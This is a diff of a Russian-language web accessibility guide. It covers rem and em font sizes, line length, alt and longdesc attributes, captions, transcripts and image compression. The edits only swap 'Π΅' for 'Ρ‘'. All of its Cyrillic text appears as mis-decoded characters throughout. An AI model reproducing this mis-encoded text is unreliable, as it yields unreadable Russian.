ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ (ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ 16px).</p>
<p>Π’ΠΎΡ‚ HTML, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ:</p>
@@ -131,22 +131,22 @@ span.subheading { font-size:1rem; } /* исходный Ρ€Π°Π·ΠΌΠ΅Ρ€ */
<h4 id="ΠŸΠΎΡ‡Π΅ΠΌΡƒ_ΠΌΠ½Π΅_слСдуСт_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ_ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅_Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹_измСрСния">ΠŸΠΎΡ‡Π΅ΠΌΡƒ ΠΌΠ½Π΅ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΠΎΡ€Ρ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ измСрСния?</h4>
-<p>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΈΠ΄Π΅Ρ‚ Π² сСбя ΠΈ откаТСтся ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ тСкст, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ выраТаСтся Π² пиксСлях. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ статистику вашСго сайта: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Π²ΠΈΠ·ΠΈΡ‚Ρ‹ ΠΈΠ· старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>ΠŸΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π½Π΅ Π·Π½Π°Π΅Ρ‚Π΅, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚ Π² сСбя ΠΈ откаТСтся ΡƒΠ²Π΅Π»ΠΈΡ‡ΠΈΠ²Π°Ρ‚ΡŒ тСкст, Ρ€Π°Π·ΠΌΠ΅Ρ€ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ выраТаСтся Π² пиксСлях. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅ статистику вашСго сайта: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ Π²ΠΈΠ·ΠΈΡ‚Ρ‹ ΠΈΠ· старых Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
<p>ΠœΡ‹ Π±Ρ‹ посовСтовали ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
<ul>
<li>ΠžΠΏΠΈΡˆΠΈΡ‚Π΅ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ Π² Π΅Π΄ΠΈΠ½ΠΈΡ†Π°Ρ… rem, Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡ‡Π΅Π½ΡŒ Π΄ΠΎΠ²ΠΎΠ»ΡŒΠ½Ρ‹ ΠΈΠΌΠΈ;</li>
- <li>ΠŸΡƒΡΡ‚ΡŒ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ со своим собствСнным Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ Π΄Π²ΠΈΠΆΠΊΠΎΠΌ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ Π΄Π²ΠΈΠΆΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ любоС свойство ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² CSS, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с Π½ΠΈΠΌΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ваш сайт всС Π΅Ρ‰Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ для использования, Ссли ΠΎΠ½ Π½Π΅ соотвСтствуСт видСнию вашСго Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Π°. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π² любом случаС находятся Π½Π° ΠΏΡƒΡ‚ΠΈ ΠΊ Π²Ρ‹Ρ…ΠΎΠ΄Ρƒ ΠΈΠ· использования.</li>
+ <li>ΠŸΡƒΡΡ‚ΡŒ старыС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΡˆΡ€ΠΈΡ„Ρ‚Ρ‹ со своим собствСнным Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΠΈΠΌ Π΄Π²ΠΈΠΆΠΊΠΎΠΌ. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ Π΄Π²ΠΈΠΆΠΊΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ любоС свойство ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² CSS, Ссли ΠΎΠ½ΠΈ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒΡΡ с Π½ΠΈΠΌΠΈ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ ваш сайт всС Π΅Ρ‰Ρ‘ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅ΠΏΡ€ΠΈΠ³ΠΎΠ΄Π½Ρ‹ΠΌ для использования, Ссли ΠΎΠ½ Π½Π΅ соотвСтствуСт видСнию вашСго Π΄ΠΈΠ·Π°ΠΉΠ½Π΅Ρ€Π°. Π‘Ρ‚Π°Ρ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π² любом случаС находятся Π½Π° ΠΏΡƒΡ‚ΠΈ ΠΊ Π²Ρ‹Ρ…ΠΎΠ΄Ρƒ ΠΈΠ· использования.</li>
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ваш ΠΏΡ€ΠΎΠ±Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ³ΠΎΠ΄ΠΈΡ‚ΡŒ старым Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ, Π²Π°ΠΌ придСтся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ems ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: ваш ΠΏΡ€ΠΎΠ±Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°Ρ€ΡŒΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ. Если Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ³ΠΎΠ΄ΠΈΡ‚ΡŒ старым Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ, Π²Π°ΠΌ придётся ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ems ΠΈ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС ΠΌΠ°Ρ‚Π΅ΠΌΠ°Ρ‚ΠΈΠΊΠΈ.</p>
</div>
<h3 id="Π”Π»ΠΈΠ½Π°_строки">Π”Π»ΠΈΠ½Π° строки</h3>
-<p>БущСствуСт давняя дискуссия ΠΎ Π΄Π»ΠΈΠ½Π΅ строки Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, Π½ΠΎ Π²ΠΎΡ‚ история. Π•Ρ‰Π΅ Π² Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π°, ΠΊΠΎΠ³Π΄Π° Ρƒ нас Π±Ρ‹Π»ΠΈ Π³Π°Π·Π΅Ρ‚Ρ‹, ΠŸΠ΅Ρ‡Π°Ρ‚Π½ΠΈΠΊΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π³Π»Π°Π·Π° читатСля Π±ΡƒΠ΄ΡƒΡ‚ с Ρ‚Ρ€ΡƒΠ΄ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠΉ строки ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Ссли строки Π±ΡƒΠ΄ΡƒΡ‚ слишком Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌΠΈ. КакоС ΠΆΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅? Π‘Ρ‚ΠΎΠ»Π±Ρ†Ρ‹.</p>
+<p>БущСствуСт давняя дискуссия ΠΎ Π΄Π»ΠΈΠ½Π΅ строки Π² ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, Π½ΠΎ Π²ΠΎΡ‚ история. Π•Ρ‰Ρ‘ Π² Ρ‚Π΅ Π²Ρ€Π΅ΠΌΠ΅Π½Π°, ΠΊΠΎΠ³Π΄Π° Ρƒ нас Π±Ρ‹Π»ΠΈ Π³Π°Π·Π΅Ρ‚Ρ‹, ΠŸΠ΅Ρ‡Π°Ρ‚Π½ΠΈΠΊΠΈ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, Ρ‡Ρ‚ΠΎ Π³Π»Π°Π·Π° читатСля Π±ΡƒΠ΄ΡƒΡ‚ с Ρ‚Ρ€ΡƒΠ΄ΠΎΠΌ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠΉ строки ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΉ, Ссли строки Π±ΡƒΠ΄ΡƒΡ‚ слишком Π΄Π»ΠΈΠ½Π½Ρ‹ΠΌΠΈ. КакоС ΠΆΠ΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅? Π‘Ρ‚ΠΎΠ»Π±Ρ†Ρ‹.</p>
<p>ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π½Π΅ исчСзаСт, ΠΊΠΎΠ³Π΄Π° ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅ΠΌΡΡ Π½Π° ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚. Π“Π»Π°Π·Π° читатСля Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‚ ΠΊΠ°ΠΊ Ρ‡Π΅Π»Π½ΠΎΠΊ, ΠΈΠ΄ΡƒΡ‰ΠΈΠΉ ΠΎΡ‚ строки ΠΊ строкС. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΎΡ‰Π΅ для Π³Π»Π°Π· людСй, ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΡŒΡ‚Π΅ ΡˆΠΈΡ€ΠΈΠ½Ρƒ строки ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ 60 ΠΈΠ»ΠΈ 70 символами.</p>
@@ -197,7 +197,7 @@ span.subheading { font-size:1rem; } /* исходный Ρ€Π°Π·ΠΌΠ΅Ρ€ */
<dd>Они ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΎΡ‚ΡΡŽΠ΄Π° ΠΈ ΠΈΡ… Π½Π°Π·Π²Π°Π½ΠΈΠ΅. Они ΠΌΠΎΠ³ΡƒΡ‚, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π³Ρ€Π°Ρ„ΠΈΠΊ, ТСст Ρ‡Π΅Π»ΠΎΠ²Π΅ΠΊΠ° ΠΈΠ»ΠΈ Π»ΡŽΠ±ΡƒΡŽ Π΄Ρ€ΡƒΠ³ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ. Как ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ, Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt</code>.</dd>
</dl>
-<p>Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΡ€Π°Ρ‚ΠΊΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt </code>ΠΈ Π½ΠΈΡ‡Π΅Π³ΠΎ большС. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΡ€Π°Ρ‚ΠΊΠΎ, Π²Π°ΠΌ придСтся Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, содСрТащСй Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅), Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΠ±Π΅Π³Π½ΡƒΡ‚ΡŒ ΠΊ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ <code>longdesc</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прСдставляСт собой URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° рСсурс, явно ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π² дСталях содСрТимоС изобраТСния.</p>
+<p>Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΡ€Π°Ρ‚ΠΊΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>alt </code>ΠΈ Π½ΠΈΡ‡Π΅Π³ΠΎ большС. Если ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ описано ΠΊΡ€Π°Ρ‚ΠΊΠΎ, Π²Π°ΠΌ придётся Π»ΠΈΠ±ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ‚ΠΎΡ‚ ΠΆΠ΅ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΡ€ΠΌΠ΅ Π½Π° Ρ‚ΠΎΠΉ ΠΆΠ΅ страницС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΊΡ€ΡƒΠ³ΠΎΠ²ΡƒΡŽ Π΄ΠΈΠ°Π³Ρ€Π°ΠΌΠΌΡƒ Ρ‚Π°Π±Π»ΠΈΡ†Π΅ΠΉ, содСрТащСй Ρ‚Π΅ ΠΆΠ΅ Π΄Π°Π½Π½Ρ‹Π΅), Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΠ±Π΅Π³Π½ΡƒΡ‚ΡŒ ΠΊ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρƒ <code>longdesc</code>. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ этого Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° прСдставляСт собой URL-адрСс, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π½Π° рСсурс, явно ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Π² дСталях содСрТимоС изобраТСния.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: использованиС ΠΈ Π΄Π°ΠΆΠ΅ сущСствованиС <code>longdesc </code>обсуТдаСтся ΡƒΠΆΠ΅ довольно Π΄Π°Π²Π½ΠΎ. ΠŸΠΎΠΆΠ°Π»ΡƒΠΉΡΡ‚Π°, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ ΠΊ <a href="http://www.w3.org/TR/html-longdesc/">Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ описания ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</a> W3C (longdesc) для получСния ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ объяснСния ΠΈ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ².</p>
@@ -209,14 +209,14 @@ span.subheading { font-size:1rem; } /* исходный Ρ€Π°Π·ΠΌΠ΅Ρ€ */
<dl>
<dt>Π‘ΡƒΠ±Ρ‚ΠΈΡ‚Ρ€Ρ‹ / Π·Π°ΠΊΡ€Ρ‹Ρ‚ΠΈΠ΅ субтитров</dt>
- <dd>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ подписи Π² своС Π²ΠΈΠ΄Π΅ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ³ΠΎΠ΄ΠΈΡ‚ΡŒ посСтитСлям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ Π·Π²ΡƒΠΊ. НСкоторыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со слухом, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΠΎΠ² ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² ΡˆΡƒΠΌΠ½ΠΎΠΉ срСдС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΏΠΎΠ΅Π·Π΄Π΅).</dd>
+ <dd>Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ подписи Π² своё Π²ΠΈΠ΄Π΅ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ³ΠΎΠ΄ΠΈΡ‚ΡŒ посСтитСлям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ Π·Π²ΡƒΠΊ. НСкоторыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ со слухом, Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Π΄ΠΈΠ½Π°ΠΌΠΈΠΊΠΎΠ² ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π² ΡˆΡƒΠΌΠ½ΠΎΠΉ срСдС (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΏΠΎΠ΅Π·Π΄Π΅).</dd>
<dt>Π Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΠ°</dt>
<dd>Π‘ΡƒΠ±Ρ‚ΠΈΡ‚Ρ€Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΊΡ‚ΠΎ-Ρ‚ΠΎ смотрит Π²ΠΈΠ΄Π΅ΠΎ. МногиС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΈΠ»ΠΈ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ ΠΏΠ»Π°Π³ΠΈΠ½Π° ΠΈΠ»ΠΈ ΠΊΠΎΠ΄Π΅ΠΊΠ°. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, поисковыС систСмы ΠΏΠΎΠ»Π°Π³Π°ΡŽΡ‚ΡΡ Π² основном Π½Π° тСкст для индСксации вашСго ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°. По всСм этим ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ, поТалуйста, ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ Ρ‚Π΅ΠΊΡΡ‚ΠΎΠ²ΡƒΡŽ Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²ΠΊΡƒ Π²ΠΈΠ΄Π΅ΠΎ / Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»Π°.</dd>
</dl>
<h3 id="Π‘ΠΆΠ°Ρ‚ΠΈΠ΅_изобраТСния">Π‘ΠΆΠ°Ρ‚ΠΈΠ΅ изобраТСния</h3>
-<p>НСкоторыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π½ΠΎ всС Π΅Ρ‰Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ, особСнно Π² Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡ странах ΠΈ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Если Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½Ρ‹ΠΉ сайт, поТалуйста, соТмитС ваши изобраТСния. Π‘ΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ инструмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΎΠ½Π»Π°ΠΉΠ½, Ρ‚Π°ΠΊ ΠΈ локально:</p>
+<p>НСкоторыС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, Π½ΠΎ всС Π΅Ρ‰Ρ‘ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΡƒΡŽ ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ½ΡƒΡŽ ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒ, особСнно Π² Ρ€Π°Π·Π²ΠΈΠ²Π°ΡŽΡ‰ΠΈΡ…ΡΡ странах ΠΈ Π½Π° ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… устройствах. Если 